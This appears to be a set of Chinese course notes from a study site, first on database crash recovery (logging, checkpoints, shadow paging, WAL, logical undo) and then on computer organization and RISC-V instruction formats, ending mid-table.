块传输操作:
- input(B): 将物理块B传输到主内存
- output(B): 将缓冲区块B传输到磁盘
Transaction Operations¶
- 每个事务Ti都有其私有的工作区,用于保存它访问和更新的所有数据项的本地副本
-
Ti的数据项X的本地副本称为xi
-
在系统缓冲区块和事务私有工作区之间传输数据项的操作:
- read(X):将数据项X的值赋给局部变量xi
- write(X):将局部变量xi的值赋给缓冲区块中的数据项X
- 注意:output(BX)不必立即跟随write(X)。系统可以在认为合适的时候执行输出操作
-
事务必须:
- 在首次访问X之前执行read(X)(后续读取可以从本地副本进行)
- write(X)可以在事务提交之前的任何时间执行
Log-Based Recovery¶
Log Records¶
- 日志记录在稳定存储上维护
- 日志是一系列日志记录,记录了数据库上的更新活动
- 日志记录类型:
<Ti start>: 事务Ti开始时写入<Ti, X, V1, V2>: 事务Ti执行write(X)前写入- V1: X的旧值
- V2: 要写入X的新值
<Ti commit>: 事务Ti完成最后一条语句时写入
<T1 start>
<T1, A, 100, 200>
<T2 start>
<T2, B, 300, 400>
<T3 start>
<T1, C, 500, 600>
<T1 commit>
<T3, C, 600, 700>
<T3, C, 700, 800>
<T3 commit>
<T2, C, 800, 900>
<T2, B, 400, 500>
...
-
延迟数据库修改(Deferred Database Modification)
- 事务执行期间不修改数据库
- 所有修改都记录在日志中
- 事务提交时才将修改写入数据库
- 优点:恢复简单,只需重做已提交事务
- 缺点:需要大量日志空间
-
立即数据库修改(Immediate Database Modification)
- 事务执行期间直接修改数据库(buffer或者disk)
- 同时记录日志
- 需要同时支持重做(redo)和撤销(undo)操作
- 优点:减少日志空间需求
- 缺点:恢复过程较复杂
Note
立即修改方案允许在事务提交前将未提交事务的更新写入缓冲区或磁盘本身。更新日志记录必须在数据库项写入前完成记录。我们假定日志记录直接输出到稳定存储。更新后的数据块输出到稳定存储可发生于事务提交前后的任意时刻,且数据块输出顺序与其写入顺序可以不同。
如果崩溃时稳定存储上的日志是以下情况:
a): 不需要redo
b): 需要redo,T0需要redo,T1不需要redo
c): 需要redo,T0和T1都需要redo
immediate database modification
恢复流程包含两个操作而非一个:
undo(Ti): 将Ti事务更新的所有数据项恢复为旧值,从Ti的最后一个日志记录开始逆向处理redo(Ti): 将Ti事务更新的所有数据项设置为新值,从Ti的第一个日志记录开始正向处理
这两个操作都必须满足幂等性。也就是说,即使操作被执行多次,效果与执行一次相同。这一特性是必需的,因为在恢复过程中 操作可能会被重复执行。
故障恢复时的处理规则:
- 当日志包含
<Ti start>记录但未包含<Ti commit>记录时,需要对事务Ti执行撤销操作 - 当日志同时包含
<Ti start>和<Ti commit>记录时,需要对事务Ti执行重做操作 - 恢复时先执行所有
undo操作,再执行所有redo操作
在以下几种情况中恢复
a): undo T0,将B的值恢复为2000,A的值恢复为1000;
b): redo T0,undo T1:将C的值恢复为700,将A和B的值分别设置为950和2050(先执行undo,再执行redo)。日志记录
c): redo T0,redo T1:将A和B的值分别设置为950和2050,然后将C的值设置为600。
Checkpoints¶
Redo/undo 操作是非常慢的:
- Processing the entire log is time-consuming if the system has run for a long time
- We might unnecessarily redo transactions which have already output their updates to the database.
Streamline recovery procedure by periodically performing checkpointing
- Output all log records currently residing in main memory onto stable storage.
- Output all modified buffer blocks to the disk.
- Write a log record
< checkpoint L>onto stable storage where L is a list of all transactions active at the time of checkpoint. - All updates are stopped while doing checkpointing
通过定期检查点操作来简化恢复流程。
在恢复过程中,我们只需考虑checkpoint前最近启动的事务Ti,以及Ti之后启动的事务。从日志末尾反向扫描,找到最近的<checkpoint L>记录。只有L列表中或checkpoint后启动的事务需要重做或撤销。在checkpoint前已提交或中止的事务,其所有更新均已输出到稳定存储中。可能需要日志的较早部分用于撤销操作。继续反向扫描,直到为L列表中的每个事务Ti找到对应的<Ti start>记录。上述最早<Ti start>记录之前的日志部分在恢复时无需使用,可随时清除。
T1可以被忽略,因为T1在checkpoint之前已经提交,其所有更新已经输出到稳定存储中。
T2和T3需要被重做,因为它们在checkpoint之后启动。
T4需要被撤销,因为它是中止的。
Example
假设我们有以下日志记录序列:
<T1 start>
<T1, A, 100, 200>
<T1 commit>
<T2 start>
<T2, B, 300, 400>
<checkpoint {T2}>
<T3 start>
<T3, C, 500, 600>
<T2, D, 700, 800>
<T2 commit>
<T3, E, 900, 1000>
系统崩溃
-
首先从日志末尾反向扫描,找到最近的检查点记录:
<checkpoint {T2}> -
根据检查点记录,我们知道:
- T1 在检查点之前已经提交,其所有更新已经写入稳定存储,不需要处理
- T2 在检查点时是活动事务,需要处理
- T3 在检查点之后启动,需要处理
-
继续反向扫描,找到 T2 和 T3 的 start 记录
-
恢复处理:
- T2 需要重做(redo),因为它在检查点后提交了
- T3 需要撤销(undo),因为它在系统崩溃时还未提交
-
具体操作:
- 重做 T2 的更新:
- 将 B 的值设为 400
- 将 D 的值设为 800
- 重做 T2 的更新:
-
撤销 T3 的更新:
- 将 C 的值恢复为 500
- 将 E 的值恢复为 900
-
检查点之前的日志记录(T1 相关的记录)可以安全清除,因为:
- T1 已经提交
- 所有更新都已写入稳定存储
- 这些记录对恢复过程没有帮助
Shadow Paging¶
Shadow Paging
Shadow paging is an alternative to log-based recovery;this scheme is useful if transactions execute serially
Idea:maintain two page tables during the lifetime of a transaction –the current page table, and the shadow page table
Store the shadow page table in nonvolatile storage, such that state of the database prior to transaction execution may be recovered.
Shadow page table is never modified during execution
To start with, both the page tables are identical. Only current page table is used for data item accesses during execution of the transaction.
Whenever any page is about to be written for the first time
- A copy of this page is made onto an unused page.
- The current page table is then made to point to the copy
- The update is performed on the copy
提交之前:
- 将主内存中所有修改过的页面刷新到磁盘
- 将当前页表输出到磁盘
- 将当前页表设置为新的影子页表:
- 在磁盘上的固定(已知)位置保存指向影子页表的指针
- 通过更新指针指向磁盘上的当前页表,使当前页表成为新的影子页表
一旦影子页表指针被写入,事务就提交完成。
崩溃后不需要恢复 - 新事务可以立即开始,使用影子页表。
不在当前/影子页表中指向的页面应该被释放(垃圾回收)。
Summary
优点:
- 不需要日志
- 恢复速度快
- 实现简单
缺点:
- 数据碎片化
- 垃圾回收开销
- 并发事务处理复杂
- 不适合频繁更新的数据库
Recovery With Concurrent Transactions¶
We modify the log-based recovery schemes to allow multiple transactions to execute concurrently.
- 所有事务共享一个磁盘缓冲区和日志文件。
- 一个缓冲块可能包含多个事务更新的数据项。
- 使用严格两阶段锁(Strict 2PL)进行并发控制:
- 排他锁(X-lock)持有到事务结束。
- 未提交事务的更新对其他事务不可见。
- 日志记录方式与之前相同。
- 不同事务的日志记录在日志文件中交错排列。
checkpoint¶
- 检查点记录格式为
<checkpoint L>,其中 L 是在检查点时活跃的事务列表,例如{ T2, T4 }。 - 假设在执行检查点时没有更新正在进行。
Recovery¶
- 恢复时需要考虑多个事务同时活跃的情况。
- 检查点后,恢复操作需要从最近的检查点开始,并根据日志记录恢复各个事务的状态。
when the system recovers from a crash
- 首先,初始化 undo-list 和 redo-list 为空
-
从尾至头扫描日志文件,直到找到第一个checkpoint,此时,对于每一个在这一过程中扫描到的事务,做以下事情
- 如果扫描到的日志记录是
<Ti commit>,将Ti加入redo-list - 如果扫描到的日志记录是
<Ti start>,将Ti加入undo-list,当然,前提是它不在redo-list中 - 如果扫描到的日志记录是
<Ti abort>,将Ti加入undo-list
- 如果扫描到的日志记录是
-
然后,对于在checkpoint中出现的每一个事务Ti,如果其不在redo-list中,则将Ti加入undo-list
此刻,undo-list中包含所有需要撤销的事务,redo-list中包含所有需要重做的事务
然后,恢复过程继续执行:
- 从日志文件末尾开始反向扫描,直到遇到undo-list中每个事务的
<Ti start>记录为止。 - 在扫描过程中,对属于undo-list中事务的每条日志记录执行撤销操作。
- 找到最近的
<checkpoint L>记录。 - 从
<checkpoint L>记录开始向前扫描日志,直到日志末尾。 - 在扫描过程中,对属于redo-list中事务的每条日志记录执行重做操作。
Example
假设我们有以下日志记录序列:
<T0 start>
<checkpoint {T0} >
<T0, A, 0, 10>
<T0 commit>
<T1 start>
<T1, A, 10, 15>
<T2 start> ——————
<T2, C, 0, 10> |
<T2, B, 10, 20> |
<checkpoint {T1, T2 } > ____ | ————————
<T3 start> | | |
<T1 commit> | | |
<T3, A, 15, 20> | | |
<T3, D, 0, 10> | | |
<T3 commit> | | |
- - -Crashed- - - step1 step2-1 step2-2
- 初始化 undo-list {}, redo-list {}
- 从尾至头扫描日志文件,直到找到第一个checkpoint
<checkpoint {T1,T2} >,此时,undo-list = {T2}, redo-list = {T1,T3}
开始恢复
- 从尾至头扫描日志文件,直到找到所有在undo-list中的事务的
<Ti start>记录为止,在这里停在<T2 start>,撤销T2 - 从
<checkpoint {T1,T2} >开始向前扫描日志,直到日志末尾。 - 对redo-list中的事务执行重做操作,重做T1和T3
Buffer Management¶
-
通常,输出到稳定存储的单位是块,而日志记录通常比块小得多。
-
因此,日志记录会缓存在主存中,而不是直接输出到稳定存储。
-
日志记录会在以下情况下输出到稳定存储:
- 缓冲区中的日志记录块已满,
- 或者执行了强制日志操作。
- 例如,发生检查点时。
-
强制日志(log force)用于通过将所有日志记录(包括提交记录
<Ti commit>)强制输出到稳定存储来提交事务。 -
因此,可以通过单个输出操作输出多个日志记录,从而降低I/O成本。
Write-Ahead Logging (WAL) 先写日志规则
- 日志记录按照创建的顺序输出到稳定存储。
- 事务Ti只有在日志记录
<Ti commit>已输出到稳定存储后,才进入提交状态。 - 在
<Ti commit>可以输出到稳定存储之前,所有与Ti相关的日志记录必须已经输出到稳定存储。 - 在主存中的数据块输出到数据库之前,所有与该数据块相关的日志记录必须已经输出到稳定存储。(日志应先于数据写到磁盘)。 这一规则被称为先写日志规则(Write-Ahead Logging Rule, WAL)。 严格来说,WAL只要求撤销信息被输出
数据库维护一个内存缓冲区,用于存储数据块。 当需要一个新的数据块时,如果缓冲区已满,则需要从缓冲区中移除一个现有的数据块。 如果被选择移除的数据块已被更新,则必须将其输出到磁盘。
恢复算法支持无强制策略,即在事务提交时,更新的数据块不需要被写入磁盘。 强制策略:要求在提交时将更新的数据块写入磁盘,这会导致提交操作更昂贵。
恢复算法支持抢占策略,即包含未提交事务更新的数据块可以在事务提交之前被写入磁盘。
-
如果一个包含未提交更新的块被输出到磁盘,首先将更新的日志记录(包含撤销信息)输出到稳定存储的日志中(先写日志规则)。
-
在块被输出到磁盘时,不应有更新正在进行。可以通过以下方式确保:
- 在写入数据项之前,事务获取包含该数据项的块的独占锁。
- 写入完成后可以释放锁。
- 这种短时间持有的锁称为闩锁(latch)。
-
要将一个块输出到磁盘:
- 首先获取该块的独占闩锁(exclusive latch)。
- 确保没有更新正在该块上进行。
- 然后执行日志刷新。
- 接着将块输出到磁盘。
- 最后释放该块的闩锁。
- 首先获取该块的独占闩锁(exclusive latch)。
缓冲区实现
数据库缓冲区可以通过以下两种方式实现:
- 在为数据库保留的真实主存区域中实现。
- 在虚拟内存中实现。
在为数据库保留的主存中实现缓冲区有以下缺点:
- 内存在预先分配时被划分为数据库缓冲区和应用程序,限制了灵活性。
- 需求可能会发生变化,尽管操作系统最了解如何在任何时候划分内存,但它无法改变内存的分区。
因此,使用虚拟内存实现数据库缓冲区可以提供更大的灵活性,因为操作系统可以动态管理内存的分配和使用。
尽管存在一些缺点,数据库缓冲区通常在虚拟内存中实现:
- 当操作系统需要驱逐一个已被修改的页面时,该页面会被写入磁盘上的交换空间。
- 当数据库决定将缓冲区页面写入磁盘时,缓冲区页面可能在交换空间中,可能需要从磁盘上的交换空间读取并输出到数据库,导致额外的I/O操作!
- 这种情况被称为双重分页问题。
理想情况下,当操作系统需要从缓冲区驱逐一个页面时,它应该将控制权交给数据库,数据库应:
- 如果页面被修改过,先将页面输出到数据库(确保先输出日志记录),而不是输出到交换空间。
- 从缓冲区释放该页面,以供操作系统使用。
这样可以避免双重分页,但常见的操作系统不支持这种功能。
Failure with Loss of Nonvolatile Storage¶
在之前的讨论中,我们假设非易失性存储没有丢失。然而,为了应对非易失性存储的丢失,可以使用类似于检查点的技术。
这种技术要求定期将整个数据库内容转储到稳定存储中。在转储过程中,不允许有事务处于活动状态;因此,必须执行类似于检查点的过程。
具体步骤如下:
- 将当前驻留在主存中的所有日志记录输出到稳定存储。
- 将所有缓冲区块输出到磁盘。
- 将数据库的内容复制到稳定存储。
- 在稳定存储的日志中输出一条记录
。
通过这些步骤,可以确保即使在非易失性存储丢失的情况下,数据库的内容也能够被恢复。
Disk Failure Recovery¶
为了从磁盘故障中恢复,可以从最近的转储中恢复数据库。然后,查阅日志并重做所有在转储后提交的事务。
这种方法可以扩展以允许在转储期间事务处于活动状态,称为模糊转储或在线转储。
在各种商业数据库管理系统中,使用了许多安全性和可靠性方法。商业数据库产品中有多种工具可用于帮助进行副本和恢复。
Advanced Recovery Techniques¶
物理日志和逻辑日志
物理日志:准确记录了数据库的物理状态变化,即值的变化。例如<Ti, X, V1, V2>,表示事务Ti对数据项X的值从V1更新为V2。
逻辑日志:记录了事务的逻辑操作,而不是具体的值。例如<Ti, Oj, operation-begin,U>,表示事务Ti开始执行操作Oj,U是操作Oj的撤销信息。例如某个操作的物理日志为<Ti, A, 600, 500>,则其逻辑日志为<Ti, A, operation-begin,U>,其中U为<A+100>。
在高并发环境中,支持锁定技术是至关重要的,尤其是在处理B+-树的并发控制时。B+-树的插入和删除操作通常会提前释放锁。这些操作不能通过恢复旧值(物理撤销)来撤销,因为一旦锁被释放,其他事务可能已经更新了B+-树。
相反,插入(或删除)操作的撤销是通过执行删除(或插入)操作来实现的,这被称为逻辑撤销。对于这样的操作,撤销日志记录应包含要执行的撤销操作,这被称为逻辑撤销日志记录,与物理撤销日志记录相对。
即使对于这样的操作,重做信息也是以物理方式记录的(即每次写入的新值)。逻辑重做非常复杂,因为磁盘上的数据库状态可能不是“操作一致”的。
操作日志记录如下:
- 当操作开始时,记录日志
。其中 Oj 是操作实例的唯一标识符。 - 当操作正在执行时,记录包含物理重做和物理撤销信息的普通日志记录。
- 当操作完成时,记录日志
,其中 U 包含执行逻辑撤销所需的信息。
如果在操作完成之前发生崩溃/回滚:
- 找不到 operation-end 日志记录,
- 使用物理撤销信息来撤销操作。
如果在操作完成之后发生崩溃/回滚:
- 找到 operation-end 日志记录,在这种情况下,
- 使用 U 执行逻辑撤销;忽略操作的物理撤销信息。
操作的重做(崩溃后)仍然使用物理重做信息。
transaction 和 operation的区别
在数据库系统中,transaction(事务)和operation(操作)是两个不同的概念:
-
Transaction(事务):
- 事务是一个逻辑上的工作单元,由一组操作组成,这些操作要么全部成功,要么全部失败。事务具有ACID特性,即原子性(Atomicity)、一致性(Consistency)、隔离性(Isolation)和持久性(Durability)。
- 事务的主要目的是确保数据库从一个一致性状态转换到另一个一致性状态,即使在系统故障的情况下,也能通过回滚或重做来保持数据的一致性。
-
Operation(操作):
- 操作是事务中的基本组成部分,通常指对数据库的单个读或写动作。例如,插入、更新、删除或查询都是操作。
- 操作是事务执行的具体步骤,多个操作组合在一起形成一个完整的事务。
简而言之,事务是由多个操作组成的一个完整的逻辑单元,而操作是事务中的具体执行步骤。
rollback a transaction
回滚事务 Ti 的过程如下:
- 反向扫描日志
- 如果找到日志记录
<Ti, X, V1, V2>,执行撤销操作,并记录一个特殊的仅重做日志记录<Ti, X, V1>。 - 如果找到
<Ti, Oj, operation-end, U>记录:- 使用撤销信息 U 逻辑地回滚操作。
- 回滚期间执行的更新与正常操作执行时一样被记录。
- 在操作回滚结束时,不记录 operation-end 记录,而是生成一条记录
<Ti, Oj, operation-abort>。
- a 如果找到仅重做记录,忽略它。
- b 如果找到
<Ti, Oj, operation-abort>记录:- 跳过 Ti 的所有前面的日志记录,直到找到记录
<Ti, Oj, operation-begin>。
- 跳过 Ti 的所有前面的日志记录,直到找到记录
- 当找到记录
<Ti, start>时停止扫描。 - 在日志中添加一条
<Ti, abort>记录。
注意事项
上述情况a和情况b只有在数据库在回滚事务时崩溃时才会发生。 如情况b中所述,跳过日志记录对于防止同一操作的多次回滚是至关重要的。
Example
<T0 start>
<T0, B, 2000, 2050>
<T0, O1, operation-begin>
<T0, C, 700, 600> #如果在这里abort,就是进行物理层面的undo
<T0, O1, operation-end, (C, +100)> # operation-end记录,如果abort,则进行逻辑层面的undo
<T1 start>
<T1, O2, operation-begin>
<T1, C, 600, 400>
<T1, O2, operation-end, (C, +200)>
#假设在这里,T0打算要abort,那么根据上面的规则,从后往前扫描;首先,遇到了 <T0, O1, operation-end, (C, +100)> 记录
<T0, C, 400, 500> #使用U信息,对C进行加100的操作
<T0, O1, operation-abort> #记录abort信息
<T0, B, 2000> # 遇到了 <T0, B, 2000, 2050>,恢复并记录仅重做信息
<T0 abort> # 遇到 <T0 start> 记录,结束回滚
<T1 commit>
When recovering from system crash¶
-
从最近的
<checkpoint L>日志记录开始,向前扫描日志:- 确保自上次检查点以来的所有更新都被考虑。
-
重做所有更新(重演历史):
- 物理上重做检查点之后所有事务的所有更新操作。
- 这样可以将数据库恢复到崩溃时的状态,包括已提交和未提交事务的所有更改。
-
在扫描过程中维护 undo-list:
- 初始化
undo-list为检查点记录中的事务集合L。 - 每遇到
<Ti start>日志记录,就将Ti加入undo-list。 - 每遇到
<Ti commit>或<Ti abort>日志记录,就将Ti从undo-list中移除。
- 初始化
-
完成上述步骤后:
- 逆向扫描日志,对
undo-list中的事务执行撤销操作。 - 按照之前描述的方式回滚事务。
- 当在
undo-list中的事务 Ti 找到<Ti start>记录时,写入<Ti abort>日志记录。 - 当所有
undo-list中的事务 Ti 找到<Ti start>记录时,停止扫描。 - 这将撤销未完成事务(即没有提交或中止日志记录的事务)的影响。恢复过程现在完成。
- 逆向扫描日志,对
Checkpointing¶
-
标准检查点:
- 将内存中的所有日志记录输出到稳定存储。
- 将所有修改过的缓冲区块输出到磁盘。
- 在稳定存储的日志中输出一条
<checkpoint L>记录。 - 在检查点进行期间,不允许事务执行任何操作。
-
模糊检查点: 允许事务在检查点的最耗时部分进行时继续进行。
模糊检查点的执行步骤如下:
- 暂时停止所有事务的更新操作。
- 写入一条
<checkpoint L>日志记录,并将日志强制写入稳定存储。 - 记录已修改的缓冲区块列表
M。 - 允许事务继续进行其操作。
- 将列表
M中的所有已修改缓冲区块输出到磁盘。- 在输出过程中,块不应被更新。
- 遵循 WAL 原则:所有与块相关的日志记录必须在块输出之前被输出。
-
在磁盘的固定位置
last_checkpoint存储指向检查点记录的指针。 -
使用模糊检查点进行恢复时,从
last_checkpoint指向的检查点记录开始扫描。在last_checkpoint之前的日志记录,其更新已反映在磁盘上的数据库中,无需重做。不完整的检查点(即系统在执行检查点时崩溃)也能被安全处理。
ARIES Recovery Algorithm¶
Remote Backup Systems¶
计算机组成与设计
计算机组成与设计¶
约 38 个字 预计阅读时间不到 1 分钟
呃啊,硬件
绪论
约 741 个字 预计阅读时间 3 分钟
计算机系统结构的八大伟大定律¶
-
Moore's Law The integrate circuit resource double every 18-24 months.
-
Lower-level details are hidden to higher levels
-
Make the common cases fast
-
Performance via Parallelism
-
Performance via Pipelining
-
Performance via Prediction
-
Hierarchy of memory
-
Dependability via redundancy
常见名词和计算¶
CPU时钟周期 :一个是时钟脉冲所需要的时间,也叫节拍脉冲或T周期,它是CPU中最小的时间单位 主频(CPU时钟频率):1秒中的时钟脉冲数,即时钟周期的倒数
CPI:执行一条指令所需要的时钟周期数 = 总时钟周期数/IC,一般与编译器有关;
IC:总指令数
CPU执行时间:运行一个程序所花费的时间 = CPU时钟周期数/主频 = (指令条数*CPI)/主频
影响CPU time 的因素有很多
值得注意的是,若给出测试程序包含多条指令,则CPI就是这几条指令的数学期望
Example
| 指令类型 | 所占比例 | CPI |
|---|---|---|
| A | 50% | 2 |
| B | 20% | 3 |
| C | 10% | 4 |
| D | 20% | 5 |
MIPS:每秒执行多少百万条指令 = 指令条数/(执行时间x106) = 主频/CPI
ISA:指令集合架构(Instruction Set Architecture)
定义了计算机硬件与软件之间的接口。它具体包括:
- 支持的指令类型(数据处理、控制、输入/输出等)
- 数据类型(整数、浮点数、字符等)
- 寄存器设计(寄存器数量和类型)
- 地址模式(如何计算指令操作数的地址)
RISC
RISC(Reduced Instruction Set Computing)是一种指令集设计理念
- 指令数量较少,且所有指令都在单个时钟周期内执行。
- 每条指令长度相同,通常为固定大小。
- 使用大量的寄存器以减少内存访问。
- 简化的寻址模式,提高了执行效率。
- 硬件设计更简单,易于流水线操作,提高了性能。
MISC
MISC(Minimal Instruction Set Computing)是一种极简指令集设计
- 指令集非常小,通常只有几条基本指令。
- 每条指令可能需要多个周期才能执行。
- 多数指令依赖于程序的所有操作通过少量基本指令组合完成。
- 硬件实现简单,小型设备或特定应用中常见。
CISC
CISC(Complex Instruction Set Computing)是另一种指令集设计理念
- 包含大量指令,且每条指令可以执行复杂的操作。
- 指令长度不固定,许多指令可以通过一条指令进行多步操作。
- 支持更多的寻址模式和数据类型。
- 可以减少程序的大小,因为许多操作可以通过单条指令完成。
Instructions: Language of the Computer¶
约 2974 个字 12 行代码 3 张图片 预计阅读时间 10 分钟
Thanks
本节笔记中使用到的RISC-V指令表格样式来自@TonyCrane
Introduction¶
-
Language of the machine
- Instructions(指令)
- Instruction set(指令集)
-
Computer Designer goals
- Find a language that makes it easy to build hardware and compiler.(简单易用)
- Maximize performance(同样的资源性能更好)
- Minimize cost & energy (同样的性能成本更低)
- Clarity of its application (易用)
- Simplicity: reduce design time (便于设计)
Our chosen instruction set: RISC V
各种指令集的区别

Von Neumann’ Computer
如今的计算机是基于两个核心原理构建的:存储程序概念。 这两个原理分别是:
- 指令被表示为数字;
- 程序可以像数字一样存储在内存中,以便读取或写入。
四个设计理念:
- Simplicity favors regularity 指令集的设计应该尽可能简单,规则。
- Smaller is faster 尽可能减少指令集的大小,以便提高速度。
- Good design demands good compromises 设计指令集时,需要权衡各种因素。
- Make the common case fast 优化常见情况的执行速度。
当设计ISA时,需要**硬件简单--让芯片只实现基本的原语并能快速运行**,指令要规整
Instruction characteristics¶
指令集的基本结构
operator+operands

Note
不同的操作系统,字的长度不同,比如32位系统,字长为32位(4 Byte),64位系统,字长为64位(8 Byte)。
边界对齐送地址,最后两位是00
RISC-V 指令集¶
| 寄存器 | ABI 名称 | 用途描述 | saver |
|---|---|---|---|
| x0 | zero | 硬件 0 | |
| x1 | ra | 返回地址(return address) | caller |
| x2 | sp | 栈指针(stack pointer) | callee |
| x3 | gp | 全局指针(global pointer) | |
| x4 | tp | 线程指针(thread pointer) | |
| x5 | t0 | 临时变量/备用链接寄存器(alternate link reg) | caller |
| x6-7 | t1-2 | 临时变量 | caller |
| x8 | s0/fp | 需要保存的寄存器/帧指针(frame pointer) | callee |
| x9 | s1 | 需要保存的寄存器 | callee |
| x10-11 | a0-1 | 函数参数/返回值 | caller |
| x12-17 | a2-7 | 函数参数 | caller |
| x18-27 | s2-11 | 需要保存的寄存器 | callee |
| x28-31 | t3-6 | 临时变量 | caller |
saver
在riscv代码中,当进行函数调用时,需要考虑caller save和callee save;
所谓caller save,就是指在函数调用时,调用者需要保存自己的寄存器,一般是参数还有返回值;
所谓callee save,就是指在函数调用时,被调用者需要保存某些重要寄存器里面的值,比如x8-11这些寄存器;
caller需要保证调用子函数时,x1,x5,x6-7,a0-7寄存器可以被子函数使用;
callee需要保证调用结束后,x8-11寄存器里面的值不会改变;
保存的方法是使用堆栈
sp始终指向栈顶
RISC-V 指令集的类型
R-type指令是指令集中的一种类型,它们的操作码字段是固定的,而剩余的字段则根据指令的具体功能而变化。R-type指令通常用于执行算术运算和逻辑运算等操作;R-type指令的格式如下所示:
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| funct7 | rs2 | rs1 | funct3 | rd | opcode | ||||||||||||||||||||||||||
rd = rs1 op rs2,有时候rs1,rs2,又称为rs,rt
R-type指令
| Instruction | Name | Meaning |
|---|---|---|
| ADD | Addition | Adds two values and stores the result in the destination register. |
| SUB | Subtraction | Subtracts the second value from the first and stores the result in the destination register. |
| SLT | Set Less Than | Sets the destination register to 1 if the first value is less than the second (signed), otherwise sets to 0. |
| SLTU | Set Less Than Unsigned | Sets the destination register to 1 if the first value is less than the second (unsigned), otherwise sets to 0. |
| AND | Logical AND | Performs a bitwise AND operation between two values and stores the result in the destination register. |
| OR | Logical OR | Performs a bitwise OR operation between two values and stores the result in the destination register. |
| XOR | Logical XOR | Performs a bitwise XOR (exclusive OR) operation between two values and stores the result. |
| SLL | Shift Left Logical | Shifts the bits of the first value to the left by the number of positions specified by the second value, filling with zeros. |
| SRL | Shift Right Logical | Shifts the bits of the first value to the right by the number of positions specified, filling with zeros. |
| SRA | Shift Right Arithmetic | Shifts the bits of the first value to the right by the number of positions specified, maintaining the sign bit. |
常见的R-type指令
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| 0000000 | rs2 | rs1 | 000 | rd | 0110011 | ||||||||||||||||||||||||||
- 使用格式
ADD rd,rs1,rs2rd = rs1 + rs2 - 溢出将会被忽略
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| 0100000 | rs2 | rs1 | 000 | rd | 0110011 | ||||||||||||||||||||||||||
- 使用格式
SUB rd,rs1,rs2rd = rs1 - rs2 - 溢出将会被忽略
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| 0000000 | rs2 | rs1 | 010 | rd | 0110011 | ||||||||||||||||||||||||||
- 使用格式
SLT rd,rs1,rs2rd = ($signed(rs1) < $signed(rs2)) ? 1 : 0 - 有符号数的比较
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| 0000000 | rs2 | rs1 | 011 | rd | 0110011 | ||||||||||||||||||||||||||
- 使用格式
SLTU rd,rs1,rs2rd = (rs1 < rs2) ? 1 : 0 - 进行无符号数的比较
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| 0000000 | rs2 | rs1 | 111 | rd | 0110011 | ||||||||||||||||||||||||||
- 使用格式
AND rd,rs1,rs2rd = rs1 & rs2 - 按位的与操作
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| 0000000 | rs2 | rs1 | 110 | rd | 0110011 | ||||||||||||||||||||||||||
- 使用格式
OR rd,rs1,rs2rd = rs1 | rs2 - 执行按位或操作
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| 0000000 | rs2 | rs1 | 100 | rd | 0110011 | ||||||||||||||||||||||||||
- 使用格式
XOR rd,rs1,rs2rd = rs1 ^ rs2 - 执行按位异或操作
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| 0000000 | rs2 | rs1 | 001 | rd | 0110011 | ||||||||||||||||||||||||||
- 使用格式
SLL rd,rs1,rs2rd = rs1 << rs2[4:0] - 逻辑左移
- 取
rs2的低五位进行运算
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| 0000000 | rs2 | rs1 | 101 | rd | 0110011 | ||||||||||||||||||||||||||
- 指令格式:
srl rd,rs1,rs2,rd=rs1>>rs2[4:0] - 取
rs2的低5位
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| 0100000 | rs2 | rs1 | 101 | rd | 0110011 | ||||||||||||||||||||||||||
- 指令格式
sra rd,rs1,rs2;rd = $signed(rs1) >>> rs2[4:0] - 算数右移,高位补符号位(为什么没有算数左移,因为没意义)
使用寄存器和立即数进行数字逻辑运算,以及 load 类指令等的指令格式如下:
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| imm[11:0] | rs1 | funct3 | rd | opcode | |||||||||||||||||||||||||||
立即数为
即将立即数的最高位符号位进行扩展到32位常见的I-type指令
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| imm[11:0] | rs1 | 000 | rd | 0010011 | |||||||||||||||||||||||||||
- 指令格式:
addi rd, rs1, immrd = rs1 + imm imm范围为12位有符号数字-2048~2047
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| imm[11:0] | rs1 | 010 | rd | 0010011 | |||||||||||||||||||||||||||
- 使用格式
slti rd,rs1,immrd = ($signed(rs1) < $signed(imm)) ? 1 : 0 - 有符号数的比较
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| imm[11:0] | rs1 | 011 | rd | 0010011 | |||||||||||||||||||||||||||
- 使用格式
sltiu rd,rs1,immrd = (rs1 < imm) ? 1 : 0 - 进行无符号数的比较,
rs1和imm都是无符号数
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| imm[11:0] | rs1 | 111 | rd | 0010011 | |||||||||||||||||||||||||||
- 使用格式
andi rd,rs1,immrd = rs1 & imm imm范围在-2048~2047,位数不够时会扩展符号位
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| imm[11:0] | rs1 | 110 | rd | 0010011 | |||||||||||||||||||||||||||
- 使用格式
ori rd,rs1,immrd = rs1 | imm imm范围在-2048~2047,位数不够时会扩展符号位
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
